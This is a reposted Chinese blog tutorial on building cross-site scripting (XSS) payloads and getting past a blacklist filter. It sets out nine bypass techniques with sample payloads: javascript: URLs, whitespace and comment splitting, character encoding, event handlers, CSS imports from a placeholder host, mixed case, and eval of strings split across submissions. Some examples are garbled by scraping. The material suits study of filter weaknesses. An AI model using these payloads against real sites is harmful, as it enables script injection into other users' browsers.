首页 > 代码库 > 【转】XSS构造剖析,绕过过滤的手段
【转】XSS构造剖析,绕过过滤的手段
原文 http://www.cnblogs.com/r00tgrok/p/3397683.html
现在假设为了防止XSS攻击写了一个过滤函数,看起来大概是这样:
function filter_xss($string, $allowetags = ‘‘ , $disabledattributes = array(‘onbort‘ , ‘onactive‘ , ‘onunload‘......)){ if(is_array(string)) { foreach($string as $key => $val) $string[$key] = filter_xss($val, ALLOWED_TAGES); } else { $string = preg_replace(......); } return $string;}
这个函数的作用实际上就是一个黑名单,用正则表达式对常见的如:‘<‘, ‘‘‘等进行过滤,设计的比较完善,但是仍不能确保万无一失,原因见下文:
先看一下假设我要攻,我能采取哪些措施:
no.1 利用<>标记注射Html/Javascript
如果用户能随心所欲引入<>标记,那他就能操作HTML标记,然后就能通过<script>标签插入JS恶意脚本了,例如:
<script>alert(‘XSS‘);</script>
当然如果对"<>"和script等进行了过滤,上面这个就无法执行了
no.2 利用HTML标签属性值执行XSS
很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机,例如:
<img src = "javascript:alert(‘xss‘);">
这里即便对传入的参数过滤了<>,XSS还是能发生(前提是该标签属性需要引用文件)
no.3 空格/回车/Tab
假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:
<img src = "http://www.mamicode.com/java script:alert(‘xss‘);" width=100>
这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略
而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号
像<img src = "http://www.mamicode.com/javas
cript:
alert(/xss/); width=100> 同样能绕过
no.4 对标签属性值进行转码
过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤
常见的编码方式有:HTML实体编码(&#ASCII),十进制、十六进制、八进制编码,unicode编码及escape编码及使用String.fromCharCode(...)绕过
因此<img src = "http://www.mamicode.com/javascripttalert(/xss/);">可以实现绕过
另外还可以把、、	等字符插入代码的头部或任意地方
no.5 产生自己的事件
如果不能依靠属性进行跨站,那么还可以利用事件处理函数
<input type = "button" value = "http://www.mamicode.com/click me" onclick="alert(‘click me‘)" />
事件既能让JS脚本运行,自然也可以执行跨站,另外像onerror、onMouseover等都可利用的是事件处理函数
no.6 利用CSS跨站剖析
之所以说CSS样式表是个很不错的载体,是因为CSS不需要嵌入到HTML代码中,可以直接从文件或其他地方进行引用. 另外CSS同样隐蔽、灵活,不过不同
浏览器之间不能通用,如:
<div style = "list-style-image:url(javascript:alert(‘xSS‘))">
<link rel = "stylesheet" href = "http://www.xxx.com/atack.css">
<style type = ‘text/css‘>@import url(http://www.xxx.com/xss.css);</style>
<style>@import ‘javascript:alert(‘xss‘);‘</style>
no.7 扰乱过滤规则
大小写混用:<iMg SRC = "JavaScript:alert(0);">
不使用引号或者构造全角字符也能扰乱过滤规则
还有像CSS中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:
<img src = "java/*javascript:alert(‘xss‘)*/script:alert(1);">
no.8 充分使用字符编码
上面说到过编码,这里加以补充,除了像&#ASCII,其实也可以采用�、�、�等形式,同样j的形式也是可以的
<script>eval("\61\6c\65......");<script>
如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用
no.9 拆分跨站法
拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:
<script>z=‘document.‘</script>
<script>z=+‘write‘("‘</script>
<script>z=z+‘<script‘</script>
......
<script>eval(z)</script>
另外除了像上面多次提交,也可以引用其他变量如:eval(qUserInfo.spaceName)形式,由于qUserInfo.spaceName是可控变量,因此改变其值就可以绕过
长度限制了
【转】XSS构造剖析,绕过过滤的手段